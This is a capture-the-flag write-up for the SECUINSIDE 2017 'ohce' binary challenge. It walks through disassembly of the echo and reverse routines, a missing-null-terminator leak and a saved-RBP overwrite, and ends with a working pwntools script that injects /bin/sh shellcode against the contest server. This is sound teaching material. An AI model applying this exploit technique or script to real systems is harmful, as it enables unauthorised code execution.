SECUINSIDE CTF Quals 2017 - ohce

The binary - ohce

binary : ohce

Protections

$ file ohce
ohce: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped  
$ objdump -h ohce

ohce:     file format elf64-x86-64

Sections:  
Idx Name          Size      VMA               LMA               File off  Algn  
  0 .text         00000200  00000000004000b0  00000000004000b0  000000b0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         0000003f  00000000006002b0  00000000006002b0  000002b0  2**2
                  CONTENTS, ALLOC, LOAD, DATA
[*] '/home/user/Documents/ctf/2017/secuinside/ohce/ohce' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments

The program has no protections, the stack is executable , we can use a shellcode. The binary is statically linked but its size is really small and it only has two segments : .data and .text, so the code is probably written in assembly.
The challenge is remotely, I assume that ASLR is enabled.

Program behavior

$ ./ohce 

-----------------
1. echo  
2. echo(Reverse)  
3. Exit  
-----------------
 > 1
Alors on est nul ?  
Alors on est nul ?

-----------------
1. echo  
2. echo(Reverse)  
3. Exit  
-----------------
 > 2
emag ehT

The game  
-----------------
1. echo  
2. echo(Reverse)  
3. Exit  
-----------------
 > 3
$

The program is really simple, three options:

  • echo : The input is printed.
  • echo (Reverse) : The input is reversed, then printed.
  • Exit : The program quit.

We think of a buffer overflow which will be triggered quitting the program. Unfortunately, after few tries, there isn't a bof.

Reverse engineering

Binary is stripped.

[0x004000b0]> afl 0x004000b0 7 146 entry0 0x00400142 1 10 fcn.00400142 0x0040014c 1 30 fcn.0040014c 0x0040016a 1 38 fcn.0040016a 0x00400190 1 19 fcn.00400190 0x004001a3 14 202 fcn.004001a3 0x0040026d 4 20 fcn.0040026d 0x00400281 3 47 fcn.00400281

The program has only 7 functions, most of which are small, except entry0 and fcn.004001a3

[0x004000b0]> afl 0x004000b0 7 146 main 0x00400142 1 10 exit 0x0040014c 1 30 echo 0x0040016a 1 38 echo_reverse 0x00400190 1 19 write 0x004001a3 14 202 get_input 0x0040026d 4 20 strlen 0x00400281 3 47 str_reverse

After having analyzed the code, we can put a name on each function.
get_input() is important to reverse to understand why we can't trigger a bof and to know if the function doesn't introduce an other vulnerability.

[0x004000b0]> pdf @ fcn.004001a3 / (fcn) fcn.004001a3 202 | fcn.004001a3 (); | ; CALL XREF from 0x00400103 (entry0) | ; CALL XREF from 0x00400150 (fcn.0040014c) | ; CALL XREF from 0x00400171 (fcn.0040016a) | 0x004001a3 55 push rbp | 0x004001a4 4889e5 mov rbp, rsp | 0x004001a7 4831c9 xor rcx, rcx | 0x004001aa 4831db xor rbx, rbx | 0x004001ad 4831d2 xor rdx, rdx | 0x004001b0 4831ff xor rdi, rdi | 0x004001b3 4d31c0 xor r8, r8 | 0x004001b6 4883ec20 sub rsp, 0x20 | 0x004001ba 4889e7 mov rdi, rsp | 0x004001bd b920000000 mov ecx, 0x20 ; "@" 0x00000020 | ; JMP XREF from 0x004001cb (fcn.004001a3) | .-> 0x004001c2 c60700 mov byte [rdi], 0 | | 0x004001c5 48ffc7 inc rdi | | 0x004001c8 48ffc9 dec rcx | `=< 0x004001cb 75f5 jne 0x4001c2 | ,=< 0x004001cd eb68 jmp 0x400237 | | ; JMP XREF from 0x0040025d (fcn.004001a3) | .--> 0x004001cf 4883ec20 sub rsp, 0x20 | || 0x004001d3 ba00000000 mov edx, 0 | || 0x004001d8 4889d8 mov rax, rbx | || 0x004001db b920000000 mov ecx, 0x20 ; "@" 0x00000020 | || 0x004001e0 48f7f1 div rcx | || 0x004001e3 4831c9 xor rcx, rcx | || 0x004001e6 4831d2 xor rdx, rdx | !| ; JMP XREF from 0x0040021c (fcn.004001a3) | .---> 0x004001e9 486bca20 imul rcx, rdx, 0x20 | ||| 0x004001ed 4d31c9 xor r9, r9 | !!| ; JMP XREF from 0x00400214 (fcn.004001a3) | .----> 0x004001f0 4989e2 mov r10, rsp | |||| 0x004001f3 4901ca add r10, rcx ; '&' | |||| 0x004001f6 4983c220 add r10, 0x20 | |||| 0x004001fa 4d01ca add r10, r9 ; 'k' | |||| 0x004001fd 4d8b12 mov r10, qword [r10] | |||| 0x00400200 4989e3 mov r11, rsp | |||| 0x00400203 4901cb add r11, rcx ; '&' | |||| 0x00400206 4d01cb add r11, r9 ; 'k' | |||| 0x00400209 4d8913 mov qword [r11], r10 | |||| 0x0040020c 4983c108 add r9, 8 | |||| 0x00400210 4983f920 cmp r9, 0x20 ; "@" 0x00000020 | `====< 0x00400214 75da jne 0x4001f0 | ||| 0x00400216 48ffc2 inc rdx | ||| 0x00400219 4839c2 cmp rdx, rax | `===< 0x0040021c 75cb jne 0x4001e9 | || 0x0040021e 4889e7 mov rdi, rsp | || 0x00400221 4801df add rdi, rbx ; '%' | || 0x00400224 b920000000 mov ecx, 0x20 ; "@" 0x00000020 | !| ; JMP XREF from 0x00400232 (fcn.004001a3) | .---> 0x00400229 c60700 mov byte [rdi], 0 | ||| 0x0040022c 48ffc7 inc rdi | ||| 0x0040022f 48ffc9 dec rcx | `===< 0x00400232 75f5 jne 0x400229 | || 0x00400234 4d31c0 xor r8, r8 | !| ; JMP XREF from 0x004001cd (fcn.004001a3) | !| ; JMP XREF from 0x00400263 (fcn.004001a3) | .-`-> 0x00400237 ba01000000 mov edx, 1 | || 0x0040023c 4889e6 mov rsi, rsp | || 0x0040023f 4801de add rsi, rbx ; '%' | || 0x00400242 bf00000000 mov edi, 0 | || 0x00400247 b800000000 mov eax, 0 | || 0x0040024c 0f05 syscall | || 0x0040024e 803e0a cmp byte [rsi], 0xa ; [0xa:1]=0 | ||,=< 0x00400251 7412 je 0x400265 | ||| 0x00400253 66ffc3 inc bx | ||| 0x00400256 41fec0 inc r8b | ||| 0x00400259 4180f820 cmp r8b, 0x20 ; "@" 0x00000020 | |`==< 0x0040025d 0f846cffffff je 0x4001cf | `===< 0x00400263 ebd2 jmp 0x400237 | | ; JMP XREF from 0x00400251 (fcn.004001a3) | `-> 0x00400265 4889e0 mov rax, rsp | 0x00400268 4889ec mov rsp, rbp | 0x0040026b 5d pop rbp \ 0x0040026c c3 ret

The get_input() function will:

  • Expand the stack of 0x20 bytes.
  • Read 0x20 bytes with read().
  • Check if the string contains the char '\n'.
  • If the string has no carriage return, we continue to read:
    • The stack is expanded again from 0x20 bytes.
    • The string is shifted from 0x20 bytes.
    • We read again 0x20 bytes.

It's impossible to get an overflow since the stack is filled to the low addresses. In the over hand we notice that the string is not terminated with a null byte, so maybe it will be possible to use that to get a leak or to make the program believe that the length of the string is greater.

Exploitation

[0x004000b0]> pdf @ echo_reverse / (fcn) echo_reverse 38 | echo_reverse (); | ; CALL XREF from 0x00400119 (main) | ; CALL XREF from 0x004000b0 (main) | ; CALL XREF from 0x0040016a (echo_reverse) | 0x0040016a 55 push rbp | 0x0040016b 4889e5 mov rbp, rsp | 0x0040016e 4889e7 mov rdi, rsp | 0x00400171 e82d000000 call get_input | 0x00400176 4889c7 mov rdi, rax | 0x00400179 e8ef000000 call strlen ; size_t strlen(const char *s) | 0x0040017e 4889c6 mov rsi, rax | 0x00400181 e8fb000000 call str_reverse | 0x00400186 e805000000 call write ; ssize_t write(int fd, void *ptr, size_t nbytes) | 0x0040018b 4889ec mov rsp, rbp | 0x0040018e 5d pop rbp | 0x0040018f c3 ret

The echo_reverse() function read from stdin, then calculate the string's length before reversing it. Since we saw that we can fool the program without null terminating the string, we can overwrite the data right after the string with the first bytes of it.

The context of the stack is:

+------------------------------+ | Buffer (0x20 bytes multiple) | |------------------------------| | Saved rbp | |------------------------------| | Saved rip | +------------------------------+

We can exchange the first bytes of the string with saved_rbp. When we'll return from str_reverse(), RBP will have our arbitrary value and when we'll leaving echo_reverse(), RIP will take this value.

Given the ASLR we'll need a leak, which is possible with the echo() function.
Then we need that our fake RBP point on the shellcode's address.

+------------------------------+ +---| shellcode's address | <-+ | +------------------------------+ | +-> | shellcode + padding | | +------------------------------+ | | fake_saved_RBP (future RIP) |---+ +------------------------------+ | saved_RIP | +------------------------------+

Script

Finally, the script leaks saved_rbp's value, then puts lower on the stack the shellcode's address before sending the payload.
I didn't calculate the offsets precisely, so I just added a nopsled and I spammed the shellcode's address.

from pwn import *

if args.REMOTE:  
    io = remote('13.124.134.94', 8888)
else:  
    io = process('./ohce')

def choice(nb):  
    io.sendlineafter('>', str(nb))

def echo(msg):  
    choice(1)
    io.sendline(msg)
    io.recvline()
    return io.recvline()

def echo_rev(msg):  
    choice(2)
    io.sendline(msg)
    return io.recv()

def main():  
    # Leak saved_rbp
    saved_rbp = unpack(echo('A' * 31).rstrip(), 'all')
    log.info('[saved_rbp] %#x' % (saved_rbp))

    payload = pack(saved_rbp - 0x140, 'all')[::-1]
    payload += asm(shellcraft.amd64.linux.sh(), arch='amd64')[::-1]
    payload += "\x90" * (0x32 * 5 - len(payload) + 5)

    # Save future RIP value
    echo(p64(saved_rbp - 0x60) * 100)

    # Send payload => future RIP + nopsled + shellcode
    echo_rev(payload)
    io.interactive()

if __name__ == '__main__':  
    main()